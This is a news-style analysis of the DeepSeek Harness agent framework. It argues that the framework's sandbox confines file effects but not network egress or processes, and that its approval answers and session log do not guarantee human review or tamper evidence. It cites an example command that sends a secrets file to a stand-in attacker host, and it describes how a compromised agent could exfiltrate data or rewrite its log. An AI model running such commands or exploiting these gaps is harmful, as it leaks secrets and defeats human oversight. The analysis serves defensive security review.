{"slug": "deepseek-harness-s-sandbox-confines-files-not-network-or-processes", "title": "DeepSeek Harness's Sandbox Confines Files, Not Network or Processes", "summary": "DeepSeek Harness, an open-source agent framework released as a developer preview, ships a fail-closed filesystem sandbox using bubblewrap, Landlock, Seatbelt, or Windows ACLs, but its documentation states that network access and process visibility are outside the sandbox's scope. The sandbox interface, `ctx.sandbox`, confines only file effects via three modes—read-only, workspace-write, and danger-full-access—and refuses to run commands unconfined if no backend is available. The framework also provides an append-only session log for traceability, but the sandbox does not govern network or process activity.", "body_md": "Articles\n\n# DeepSeek Harness's Sandbox Confines Files, Not Network or Processes\n\nDeepSeek Harness ships a fail-closed filesystem sandbox using bwrap, Landlock, Seatbelt, or Windows ACLs, but its own source and documentation state that network access and process visibility are outside what the sandbox governs.\n\nDeepSeek Harness landed on Hacker News this week as a developer preview: an agent framework built on the claim that \"every part of the product is a plugin, including the model adapter, the tool registry, the session log, and the agent loop itself, so every part is replaceable from configuration.\" The launch page pairs that with a second claim, traceability: an append-only session log that records every prompt, tool call, tool result, and context injection the model saw, with resume, fork, search, and replay built on top of it.\n\nBoth claims hold up. The repository backs them with real code, not just a landing page. But \"traceable\" and \"sandboxed\" are different properties, and the actual sandbox interface, which DeepSeek ships as open source, shows exactly where its boundary sits and where it does not.\n\n[What Runs a Tool Call](#what-runs-a-tool-call)\n\nDeepSeek Harness is built on Cordis, a plugin framework where \"plugins contribute services, typed events, and reversible effects to a shared context.\" There is no privileged core. The model adapter, the tool registry, and the session log are each a plugin mounted into the same tree, and a deployment composes its own stack from a `profile`\n\n(a named set of bundles) plus local patch files.\n\nA tool call moves through a documented pipeline before it runs:\n\n``` php\nmodel emits tool-call block\n  -> tool/call logged to session (before execution)\n  -> tools/pre-execute waterfall (hooks, permission checks, sandbox wrap)\n  -> registered guards (deny or abstain)\n  -> ctx.approval one-shot prompt, if a guard asked for one\n  -> tools/execute waterfall (timeout, retry, the tool body itself)\n  -> tools/post-execute waterfall (accept, block, replace, add context)\n  -> tool/result logged to session\n```\n\nThe sandbox enters at `tools/pre-execute`\n\n, through a seam called `ctx.sandbox`\n\n. That is the part worth reading closely, because \"sandbox\" in this codebase means something narrower than it does in a product like Docker Sandboxes or a Firecracker [microVM](/blog/ai-agent-sandboxes-ebpf-runtime-visibility/).\n\n[The Sandbox Is Real, and Narrower Than It Sounds](#the-sandbox-is-real-and-narrower-than-it-sounds)\n\n`ctx.sandbox`\n\nis an abstract seam with one method: `confine(argv, policy)`\n\n. It takes the exact argv a tool is about to spawn and returns a wrapped argv that runs the same command under a file-effect policy. The default implementation, `dsh-sandbox-local`\n\n, is a real, fail-closed, cross-platform confinement layer:\n\n**Linux**: bubblewrap (bwrap) and Landlock.** macOS**: Seatbelt, via`sandbox-exec`\n\n.**Windows**: a restricted-token backend enforced through ACLs.\n\nThe policy vocabulary is three modes:\n\n| Mode | What it permits | Network confinement | Process confinement |\n|---|---|---|---|\n`read-only` | Required sinks only, such as `/dev/null` | None | None |\n`workspace-write` | The workspace root and a backend-defined temp area | None | None |\n`danger-full-access` | Everything; confinement is skipped entirely | N/A | N/A |\n\nThe engineering is careful about failure. If a session requests `read-only`\n\nor `workspace-write`\n\nand no backend is usable on the host, `confine()`\n\ndoes not fall back to running the command unconfined. It throws `SandboxUnavailableError`\n\n, and the harness refuses the command:\n\n```\nsandbox mode \"workspace-write\" is requested but no sandbox backend is usable\non this host; refusing to run the command unconfined. Install bubblewrap or\nrun a Landlock-enforcing kernel (Linux), ensure sandbox-exec is usable\n(macOS), or ensure the ACL restricted-token runner can start (Windows).\nOtherwise, switch the consumer to danger-full-access.\n```\n\nThe docs are also honest about partial enforcement. Enforcement completeness is a reported fact, `full`\n\nor `partial`\n\n, not an assumption. Older Landlock kernel ABIs and the Windows ACL backend's \"Everyone / hard-link boundaries\" are named as current partial cases, meaning a caller that requires an absolute filesystem boundary on those hosts has to check the reported value rather than trust the mode name.\n\nThat is a well-built primitive for what it does. The question is what it does not do.\n\n[What ctx.sandbox Does Not Cover](#what-ctx-sandbox-does-not-cover)\n\nThe sandbox subsystem documentation states its scope directly: \"`SandboxMode`\n\ngoverns filesystem effects only.\" And, more pointedly: \"Network and process visibility are outside this vocabulary.\"\n\nThat is not a gap the docs hide. It is a design decision, stated plainly, and it has real consequences for what an agent can do even under the strictest confined mode.\n\nThe `web_fetch`\n\ntool's schema takes a single required field: `url`\n\n. There is no domain allowlist in the schema, and nothing in the sandbox or capability-seam documentation describes a network policy layer that filters where it can go. An agent under `workspace-write`\n\nmode, unable to write outside the project directory, can still call `web_fetch`\n\nagainst any host on the internet.\n\nThe same asymmetry applies to shell execution. `dsh-bash-sandbox`\n\nwraps the same argv through `ctx.sandbox`\n\n, so a blocked file operation surfaces as `[sandbox: file access denied under <mode> mode]`\n\n. There is no equivalent denial for `curl attacker.example --data-binary @secrets.env`\n\nfrom inside that same sandboxed shell. The filesystem confinement stops the agent from reading files outside the workspace. It does not stop a process inside the workspace from being exfiltrated over the network, because network egress was never part of what this seam confines.\n\nProcess visibility works the same way. The framework's own architecture guide says plainly: \"Filesystem and subprocess providers share one execution world, so pointing them at a remote sandbox moves Bash, PTY, and LSP with them.\" Read the other direction, when the sandbox is the local `bwrap`\n\n/`Landlock`\n\n/`Seatbelt`\n\nprovider rather than a remote one, spawned processes still share the local execution world for anything outside the file-effect policy. `ctx.sandbox`\n\nis a genuinely swappable seam, so an operator can plug in a provider backed by containers, a microVM, or remote execution, and the docs say as much. But that is a deployment choice an operator has to make. It is not what ships by default, and it is not what `dsh-sandbox-local`\n\ndoes.\n\n`danger-full-access`\n\ncompounds this. It is one of two presets surfaced directly to users (`workspace-write`\n\n/ `danger-full-access`\n\n, bundled with an approval-policy knob), which means the fastest path past a permission prompt during a frustrating session is also the path that removes filesystem confinement entirely.\n\n[Approval Can Be a Human, or Another Agent](#approval-can-be-a-human-or-another-agent)\n\nThe approval system, `ctx.approval`\n\n, is a genuinely well-designed fail-closed primitive. Every ask produces one of four closed outcomes: `allowed-once`\n\n, `rejected`\n\n, `cancelled`\n\n, `unavailable`\n\n. A missing, throwing, or non-conforming answerer resolves to `unavailable`\n\n, and callers must deny on anything other than `allowed-once`\n\n. There is no ambiguous middle state.\n\nBut an \"answerer\" is not necessarily a person. The docs state it directly: \"UI channels may provide human answerers; the ACP automation bridge provides one-shot machine decisions for its own agents.\" A subagent spawned to delegate work can have its tool calls approved by another piece of automation, not a human watching a terminal. Sessions can also run under a `never`\n\npolicy, which deterministically rejects every ask without dispatching any answerer at all, intended for CI and other unattended runs.\n\nNone of that is a flaw. Headless approval policies and machine answerers are necessary for any agent framework that wants to run unattended. It does mean that \"approval happened\" and \"a human reviewed this\" are not the same audit fact, and a log that only records `approval/decided: allowed-once`\n\ndoes not tell you which one occurred.\n\n[An Append-Only Log Is Not a Tamper-Evident One](#an-append-only-log-is-not-a-tamper-evident-one)\n\nThe session log's central invariant is real and worth taking seriously: \"Model-visible means logged.\" Anything that reaches a model request must be reconstructable from the log, and the framework asserts this as a runtime invariant, not a convention. `deriveMessages()`\n\nprojects the model's context from the log rather than from a separately maintained history, so there is no code path where the model sees something the log does not contain.\n\nThat is a strong property for debugging, replay, and understanding what the model saw at each step. It is a different property from tamper resistance. \"Append-only\" here describes the application's write pattern: the session object only appends events, and history is derived by replaying them. It does not describe a storage guarantee like a write-once filesystem or a cryptographically chained log. The log is data the harness process itself manages, on a backend the operator configures. A process with filesystem access, or the harness process itself if it were compromised via a supply-chain issue or a sufficiently capable [prompt injection](/blog/ghostapproval-vulnerability-ai-coding-assistants/), is not stopped by an application-level append-only invariant from rewriting the persisted file after the fact.\n\nThat distinction matters for incident response specifically. A log that reliably reconstructs \"what the model was shown\" is genuinely useful for debugging a bad output. A log you can present as evidence that a specific sequence of events occurred, and was not altered afterward, needs a different guarantee: signing, write-once storage, or replication to a store the agent process cannot reach.\n\n[What This Means If You Run It Today](#what-this-means-if-you-run-it-today)\n\n`workspace-write`\n\nas a network boundary. It is not one, by the framework's own definition of the mode vocabulary.`SandboxEnforcement`\n\nvalue your platform reports, not just the mode name. Windows ACL enforcement is documented as partial for ambient ACL gaps.`danger-full-access`\n\npreset, and why. It bypasses the one confinement layer the harness ships by default.`approval/decided: allowed-once`\n\nevent in the log represents a human decision. The ACP bridge can answer for its own agents.[Where External Supervision Still Fits](#where-external-supervision-still-fits)\n\nNone of this is a case against DeepSeek Harness's design. The plugin architecture is coherent, the sandbox fails closed instead of silently degrading, and the project is direct about where enforcement is `partial`\n\nrather than `full`\n\n. That candor is more than most agent tooling offers.\n\nIt is also exactly why the network-egress and tamper-evidence gaps are worth naming precisely instead of gesturing at \"agents are risky.\" A file-effect sandbox and a network policy are different mechanisms, built for different threats, and a framework that solves the first well has not touched the second by accident of scope, not by oversight.\n\nRye's proxy sits outside the harness entirely and intercepts HTTPS traffic to configured LLM API domains, independent of whatever sandbox mode a given session is running under. It does not watch arbitrary `curl`\n\ncalls a tool makes to unrelated hosts, that is a general network-egress problem that needs an OS-level firewall or network namespace, not an LLM traffic proxy. What Rye's wrapper does add is telemetry that lives outside the harness process: file-change events from watching the workspace directly, and session start and end records written by a separate process. If the harness's own session log were incomplete or altered, that external record does not depend on the harness having logged the event correctly in the first place.\n\nThat is the actual shape of the problem. A framework's internal audit log is a statement about what the framework saw. Whether that statement can be trusted after an incident is a question the framework's own architecture cannot fully answer, no matter how careful the plugin that writes it is.", "url": "https://wpnews.pro/news/deepseek-harness-s-sandbox-confines-files-not-network-or-processes", "canonical_source": "https://rye.ai/blog/deepseek-harness-sandbox-network-scope/", "published_at": "2026-08-13 00:00:00+00:00", "updated_at": "2026-08-13 18:44:44.631612+00:00", "lang": "en", "topics": ["ai-agents", "ai-tools", "ai-safety", "ai-infrastructure"], "entities": ["DeepSeek Harness", "Cordis", "bubblewrap", "Landlock", "Seatbelt", "Windows ACLs", "Hacker News"], "alternates": {"html": "https://wpnews.pro/news/deepseek-harness-s-sandbox-confines-files-not-network-or-processes", "markdown": "https://wpnews.pro/news/deepseek-harness-s-sandbox-confines-files-not-network-or-processes.md", "text": "https://wpnews.pro/news/deepseek-harness-s-sandbox-confines-files-not-network-or-processes.txt", "jsonld": "https://wpnews.pro/news/deepseek-harness-s-sandbox-confines-files-not-network-or-processes.jsonld"}}